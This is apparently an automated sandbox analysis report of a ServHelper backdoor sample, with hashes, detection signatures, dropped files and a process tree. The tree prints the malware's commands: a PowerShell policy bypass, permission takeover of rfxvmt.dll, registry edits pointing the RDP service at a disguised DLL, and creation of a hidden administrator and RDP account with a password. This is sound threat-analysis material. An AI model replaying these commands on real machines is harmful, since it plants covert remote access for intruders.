Analysis

  • max time kernel
    132s
  • max time network
    78s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    24-05-2022 14:49

General

  • Target

    d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe

  • Size

    2.6MB

  • MD5

    46ee7635d56bce4a798e33210c550229

  • SHA1

    a937c3d1e97ea40d61c1f8a53310632044a57a84

  • SHA256

    d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c

  • SHA512

    76bdc9cde357e775e30b8bff22763142b709f035239b0b02fc8f4c26f84cbddc0a1ae928ae9d6eb73dbeec33b438584afc15fb1f64f0e1b52df89cf5003fea5a

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe
    "C:\Users\Admin\AppData\Local\Temp\d3e9dfaece3d3b80d787bd37558d11d0033746114cb1baf4cadadaeb7c09588c.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1428
      • C:\Windows\system32\timeout.exe
        timeout -t 15
        3⤵
        • Delays execution with timeout.exe
        PID:1356
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1696
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1600
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1728
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1848
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1800
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:784
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1660
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1512
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1808
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          4⤵
            PID:380
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            4⤵
            • Modifies registry key
            PID:1176
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            4⤵
              PID:964
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:556
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                5⤵
                  PID:1332
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1836
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1788
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1072
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      7⤵
                        PID:700
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  4⤵
                    PID:864
                    • C:\Windows\system32\cmd.exe
                      cmd /c net start TermService
                      5⤵
                        PID:604
                        • C:\Windows\system32\net.exe
                          net start TermService
                          6⤵
                            PID:928
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 start TermService
                              7⤵
                                PID:896
                        • C:\Windows\system32\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                          4⤵
                            PID:1592
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                            4⤵
                              PID:1748
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user wgautilacc Ghar4f5 /del
                        1⤵
                          PID:1720
                          • C:\Windows\system32\net.exe
                            net.exe user wgautilacc Ghar4f5 /del
                            2⤵
                              PID:1748
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                                3⤵
                                  PID:1144
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc 1agVsZNg /add
                              1⤵
                                PID:2028
                                • C:\Windows\system32\net.exe
                                  net.exe user wgautilacc 1agVsZNg /add
                                  2⤵
                                    PID:1732
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc 1agVsZNg /add
                                  1⤵
                                    PID:276
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                    1⤵
                                      PID:976
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                        2⤵
                                          PID:108
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                                            3⤵
                                              PID:1640
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" TBHNEBSE$ /ADD
                                          1⤵
                                            PID:540
                                            • C:\Windows\system32\net.exe
                                              net.exe LOCALGROUP "Remote Desktop Users" TBHNEBSE$ /ADD
                                              2⤵
                                                PID:1068
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" TBHNEBSE$ /ADD
                                                  3⤵
                                                    PID:1512
                                              • C:\Windows\System32\cmd.exe
                                                cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                1⤵
                                                  PID:1996
                                                  • C:\Windows\system32\net.exe
                                                    net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                                                    2⤵
                                                      PID:964
                                                      • C:\Windows\system32\net1.exe
                                                        C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                                        3⤵
                                                          PID:1932
                                                    • C:\Windows\System32\cmd.exe
                                                      cmd /C net.exe user wgautilacc 1agVsZNg
                                                      1⤵
                                                        PID:1332
                                                        • C:\Windows\system32\net.exe
                                                          net.exe user wgautilacc 1agVsZNg
                                                          2⤵
                                                            PID:1668
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user wgautilacc 1agVsZNg
                                                              3⤵
                                                                PID:1392

                                                          Network

                                                          MITRE ATT&CK Enterprise v6

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • C:\Users\Admin\AppData\Local\Temp\reactor.log.ps1

                                                            Filesize

                                                            3.0MB

                                                            MD5

                                                            bf9c5777512bf9b80299ef6e73ce7d1f

                                                            SHA1

                                                            9d3dc8f71effeaa22ac82ff7193b5b0677a41f96

                                                            SHA256

                                                            2dbb446acc41e5cf2338cb2c0a58171965855fc8cd2f9acb128c4788583da6ef

                                                            SHA512

                                                            1b23ea2bd3c40052ef95c43037fa6cb7a25695ded8a4fcb4d43bb0abe2773ad884dfe49504bf1d73fe633305452a150426027e631fd98a0edbcf1ec36ce36940

                                                          • C:\Users\Admin\AppData\Local\Temp\uninst.dat.log

                                                            Filesize

                                                            102B

                                                            MD5

                                                            cfb0d53c55c998ebb7276c99fef6fc6c

                                                            SHA1

                                                            2613891681d4462c2660e118093c55c94ab121c7

                                                            SHA256

                                                            c7fa1fc308bfce295ab799b6bb277f879210f8790792353569d86861645e6415

                                                            SHA512

                                                            60493755ddf8314384fea61b63882601537a3ddc88e3904b7b0aa2eb30681bafb6ab41db9c62f37737f24e8d93b752c09b5b26f181b55e6dc6e221c710bc0c8a

                                                          • C:\Windows\system32\rfxvmt.dll

                                                            Filesize

                                                            40KB

                                                            MD5

                                                            dc39d23e4c0e681fad7a3e1342a2843c

                                                            SHA1

                                                            58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                            SHA256

                                                            6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                            SHA512

                                                            5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                          • \Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\System.dll

                                                            Filesize

                                                            11KB

                                                            MD5

                                                            fbe295e5a1acfbd0a6271898f885fe6a

                                                            SHA1

                                                            d6d205922e61635472efb13c2bb92c9ac6cb96da

                                                            SHA256

                                                            a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                                                            SHA512

                                                            2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                                                          • \Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\blowfish.dll

                                                            Filesize

                                                            22KB

                                                            MD5

                                                            5afd4a9b7e69e7c6e312b2ce4040394a

                                                            SHA1

                                                            fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                            SHA256

                                                            053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                            SHA512

                                                            f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                          • \Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\blowfish.dll

                                                            Filesize

                                                            22KB

                                                            MD5

                                                            5afd4a9b7e69e7c6e312b2ce4040394a

                                                            SHA1

                                                            fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                            SHA256

                                                            053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                            SHA512

                                                            f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                          • \Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\blowfish.dll

                                                            Filesize

                                                            22KB

                                                            MD5

                                                            5afd4a9b7e69e7c6e312b2ce4040394a

                                                            SHA1

                                                            fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                            SHA256

                                                            053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                            SHA512

                                                            f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                          • \Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\blowfish.dll

                                                            Filesize

                                                            22KB

                                                            MD5

                                                            5afd4a9b7e69e7c6e312b2ce4040394a

                                                            SHA1

                                                            fbd07adb3f02f866dc3a327a86b0f319d4a94502

                                                            SHA256

                                                            053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae

                                                            SHA512

                                                            f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

                                                          • \Users\Admin\AppData\Local\Temp\nsyEBD7.tmp\nsUnzip.dll

                                                            Filesize

                                                            146KB

                                                            MD5

                                                            77a26c23948070dc012bba65e7f390aa

                                                            SHA1

                                                            7e112775770f9b3b24e2a238b5f7c66f8802e5d8

                                                            SHA256

                                                            4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43

                                                            SHA512

                                                            2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

                                                          • \Windows\Branding\mediasrv.png

                                                            Filesize

                                                            55KB

                                                            MD5

                                                            8307a6e5068b13a285978a3348d87941

                                                            SHA1

                                                            6f6247a111267c1464a78355258ca1a1099829ac

                                                            SHA256

                                                            829bfc5aa4f18306b3983daa58f011dd80f996c1472ed35059a4551b29b97a9c

                                                            SHA512

                                                            b61687547177ec16f88a0a6be14585db77579f3434096bb583a0b8c4c0d949d3bfa085c930c4b607dfc6ad2f51b52745b5c2fc32a0318781c32295b62aaad63a

                                                          • \Windows\Branding\mediasvc.png

                                                            Filesize

                                                            946KB

                                                            MD5

                                                            307dd4c38d17e840052989517777f8a6

                                                            SHA1

                                                            4955a0874e3a48adf1d13cfa2dde3b1f5116ab99

                                                            SHA256

                                                            1137c49d383a9c2d1f9761bc586d12575bac535948e7e15606c8dac04aa1e890

                                                            SHA512

                                                            87c14563141be1383de8cf2f5adfab8fdee08f38d3941485b489b8a62e50f98598206ce3a7d5fdb804ca27231d384cfaed26e1363fe83ce4812f8f2be40727a3

                                                          • memory/536-54-0x0000000075B61000-0x0000000075B63000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1696-64-0x000007FEFB721000-0x000007FEFB723000-memory.dmp

                                                            Filesize

                                                            8KB

                                                          • memory/1696-66-0x000007FEF2870000-0x000007FEF33CD000-memory.dmp

                                                            Filesize

                                                            11.4MB

                                                          • memory/1696-67-0x0000000002324000-0x0000000002327000-memory.dmp

                                                            Filesize

                                                            12KB

                                                          • memory/1696-69-0x000000000232B000-0x000000000234A000-memory.dmp

                                                            Filesize

                                                            124KB

                                                          • memory/1696-65-0x000007FEF33D0000-0x000007FEF3DF3000-memory.dmp

                                                            Filesize

                                                            10.1MB